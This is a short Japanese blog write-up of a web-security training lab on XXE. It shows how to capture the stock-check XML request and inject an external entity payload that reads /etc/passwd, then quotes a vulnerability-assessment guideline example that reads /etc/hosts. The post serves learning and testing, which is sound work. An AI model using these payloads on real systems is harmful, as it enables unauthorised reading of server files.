Shikata Ga Nai

Private? There is no such things.

Exploiting XXE using external entities to retrieve filesをやってみた

Hello there, ('ω')ノ

 

外部エンティティを使用してXXEを悪用してファイルを取得を。

Check stockをクリックして。

 

f:id:ThisIsOne:20210228145935p:plain

 

履歴からxmlを見つけてリピータへ。

 

f:id:ThisIsOne:20210228150205p:plain

 

下記のペイロードを追加して、Sendすると。

 <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

 &xxe;

 

f:id:ThisIsOne:20210228150640p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210228151104p:plain

 

たとえば、脆弱性診断ガイドラインには下記のように書いてあって。

&xxe;をどこに入力してよいかわからない場合だと明示的に指摘する方法もあって。

 

診断をする場所は、リクエストにXMLが含まれている箇所とのことで。

 

元の値:
<?xml version="1.0" encoding="ISO-8859-1"?>
<foo>test</foo>


試行例:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/hosts" >]>

<foo>&xxe;</foo>

 

f:id:ThisIsOne:20210228151534p:plain

 

Best regards, (^^ゞ